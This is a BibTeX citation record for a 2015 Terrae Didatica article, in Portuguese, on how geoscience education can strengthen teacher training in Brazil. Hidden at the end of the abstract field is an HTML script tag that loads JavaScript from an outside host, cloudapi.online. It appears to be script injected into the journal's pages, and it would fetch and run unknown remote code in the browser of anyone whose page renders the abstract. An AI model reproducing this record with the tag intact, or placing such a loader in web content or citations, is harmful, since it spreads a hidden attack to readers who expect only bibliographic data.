@article{Martins_Carneiro_2015, place={Campinas, SP}, title={Contribuições do ensino de geociências à formação de uma massa crítica de professores e investigadores}, volume={10}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8637354}, DOI={10.20396/td.v10i3.8637354}, abstractNote={<p>A atual carência de docentes para atender às escolas de educação básica pode ser suprida pela formação docente apoiada em currículos impregnados de conhecimentos, modelos e práticas típicos das Geociências. Ao mesmo tempo em que dificuldades levaram o Estado a perder a condição de gerir muitas escolas, estudantes incapazes de receber informações e construir conceitos tornaram-se social e culturalmente defasados. O professor, elemento-chave do processo, deve capacitar-se para contextualizar conceitos e transmitir conteúdos fundamentais de modo organizado e integrado. Os alunos devem compreender as dificuldades inerentes ao aprendizado e reconhecer que o saber é antes uma construção social em lugar de produto natural e espontâneo de nossa interação com o mundo objetivo. Os argumentos aqui oferecidos salientam as Geociências como alicerces para o desenvolvimento intelectual, porque incorporam ao pensamento sistêmico uma clara noção de perspectiva histórica, que explica a formação do patrimônio natural brasileiro, composto pelo nosso subsolo e suas riquezas.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={3}, journal={Terrae Didatica}, author={Martins, José Roberto Serra and Carneiro, Celso Dal Ré}, year={2015}, month={jun.}, pages={368–377} }